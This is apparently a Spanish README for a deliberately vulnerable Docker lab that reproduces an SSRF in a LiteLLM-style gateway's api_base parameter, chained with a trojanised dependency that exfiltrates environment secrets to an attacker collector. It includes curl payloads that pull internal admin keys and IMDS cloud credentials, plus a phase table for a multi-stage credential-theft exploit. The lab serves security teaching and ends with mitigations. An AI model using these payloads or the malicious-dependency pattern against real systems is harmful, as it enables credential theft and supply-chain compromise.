
Laboratorio Docker deliberadamente vulnerable que reproduce CVE-2026-33634: SSRF en la puerta de enlace LiteLLM a través de api_base más una dependencia troyanizada, con un exploit multifase para el robo de credenciales.
api_base (PoC / Lab)⚠️ Laboratorio deliberadamente vulnerable, para uso educativo y autorizado. Ejecútalo solo en tu máquina, contra los contenedores de este repositorio. Lee SECURITY-NOTES.md antes de empezar.
🚫 NUNCA ejecutes este lab en una VM de nube ni en una máquina compartida. El gateway tiene SSRF irrestricto a propósito: si hay un IMDS real (
169.254.169.254) o servicios sensibles en el loopback/la LAN, el SSRF los alcanza de verdad. Los puertos se publican solo en127.0.0.1; mantenlo así. Usa un host aislado/desechable.
CVSS 9.4 (crítico). Compromiso de supply chain del gateway LiteLLM
(marzo/2026): una dependencia maliciosa en una lib de gateway expuso el
portafolio entero de credenciales de proveedores de IA. El patrón recurrente
de esa capa aparece junto: clave de OpenAI en el proxy y SSRF en el parámetro
api_base. Este lab reproduce ambas fallas y las encadena en un exploit.
litellm-telemetry-helper (en malicious-dep/) simula la
dependencia transitiva comprometida. En la narrativa del incidente, un pin débil
(>=0.9.6) habría dejado que el resolvedor trajera la versión maliciosa 0.9.7 en lugar
de la 0.9.6 limpia. El payload se dispara en el import (basta con que el gateway resuelva la
dependencia) y, en un hilo de background, exfiltra todo el entorno
(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) hacia un colector del
atacante — silenciosamente, sin romper la aplicación.
api_baseEl proxy (gateway/app.py) acepta api_base (el base_url del
proveedor) proveniente del llamador, sin allowlist. El atacante controla hacia dónde el
gateway hace peticiones y el gateway además:
Authorization, yCon esto se puede: alcanzar servicios internos (/admin/keys), robar
credenciales de nube en el IMDS (169.254.169.254), escanear puertos de la red
interna y filtrar la clave de cada proveedor apuntando el api_base de vuelta
hacia el atacante.
HOST (tú / atacante)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── red docker "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil de la dep maliciosa) │ (litellm │
│ • /collect (clave filtrada vía SSRF) │ :4000) │
│ • /oob (confirmación SSRF ciego) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NO publicado) ◄────────┤ │
│ imds.lab:80 /latest/... (NO publicado) ◄────────┤ │
│ provider-mock.lab:9100 (upstream "normal") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab e imds.lab no tienen puerto publicado — solo el SSRF del gateway
los alcanza. Ese es el punto del laboratorio.
Requisitos previos: Docker + Docker Compose v2, y Python 3.9+ con httpx para el exploit.
cd CVE-2026-33634
# 1) levanta el lab (gateway :4000, colector :8080)
docker compose up -d --build # o: make up
# 2) instala el requisito del exploit
python3 -m pip install -r exploit/requirements.txt
# 3) ejecuta el exploit completo
python3 exploit/exploit.py # o: make exploit
Ejecutar fases aisladas:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # solo roba el cofre interno
python3 exploit/exploit.py --only cloud # solo roba credenciales de nube
python3 exploit/exploit.py --only keyleak # solo filtra claves de los proveedores
python3 exploit/exploit.py --only supplychain # solo verifica el beacon de la dep
El loot completo se guarda en loot.json. Sigue al atacante recibiendo los datos:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# lectura arbitraria: cofre interno vía SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# credenciales de nube vía SSRF al IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
Este lab prioriza la claridad didáctica y la reproducibilidad. Donde abstrae el incidente real, es a propósito — y vale la pena conocer las diferencias:
import litellm_telemetry_helper explícitamente, en lugar de que el paquete sea una
dependencia transitiva oculta en el árbol del litellm real. El efecto
(payload en el import) es idéntico; la cadena de resolución fue acortada.>=0.9.6 es la
narrativa (línea comentada en gateway/requirements.txt); en el lab la dep se
instala desde ./malicious-dep vía Dockerfile — no hay un índice PyPI resolviendo
0.9.7 sobre 0.9.6. Para ejercitar la resolución de verdad, levanta un índice
local (pypiserver/devpi) con ambas versiones.api_base, el lab usa la URL verbatim
cuando hay un path explícito (para demostrar la lectura de /admin/keys y del IMDS
en un único parámetro). En el camino OpenAI-compatible, el LiteLLM real concatena
un sufijo fijo (/chat/completions) y hace POST — el control suele ser del
host (clave filtrada, SSRF por host) y el path arbitrario aparece en rutas de
/health. El impacto demostrado (filtración del portafolio + pivote
interno/cloud) es fiel; la construcción exacta de la URL está simplificada.SSRF (api_base)
169.254.0.0/16 (IMDS);
resuelve el DNS y valida la IP antes de conectar (cuidado con el rebinding).hop-limit=1 en el host de nube.Supply chain
--require-hashes, lockfile); nada de >=.pip install como ejecución de código (install hooks); usa sandbox/CI aislado.Credenciales/secreto (baseline)
CVE-2026-33634/
├── docker-compose.yml # orquesta todo en la red labnet
├── Makefile # up / down / logs / exploit
├── gateway/ # proxy LiteLLM-style VULNERABLE (SSRF + import de la dep)
├── malicious-dep/ # la dependencia troyanizada (payload en el import)
├── collector/ # colector del atacante (/beacon /collect /oob /loot)
├── internal-service/ # /admin/keys interno (solo vía SSRF)
├── imds/ # mock del metadata service de nube (solo vía SSRF)
├── provider-mock/ # upstream "normal" (contraste)
├── exploit/exploit.py # exploit multifase (async)
├── SECURITY-NOTES.md # vulns intencionales, contención y autorización
└── README.md
| Fase | Técnica |
|---|
recon | Fingerprint del gateway; enumera modelos/proveedores; detecta el sink api_base. |
ssrf | Confirma el SSRF de forma ciega (out-of-band): fuerza un callback con token único al colector. |
scan | Port-scan de la red interna a través del gateway (concurrente). |
internal | SSRF → internal.lab/admin/keys: exfiltra el cofre de credenciales entero. |
cloud | SSRF → IMDS: roba credenciales STS temporales del rol de la instancia. |
keyleak | Apunta api_base hacia el atacante; el gateway filtra la clave de cada proveedor en el Authorization. |
supplychain | Lee el loot: la dep troyanizada ya exfiltró el entorno en el import. |
report | Consolida el impacto y escribe loot.json. |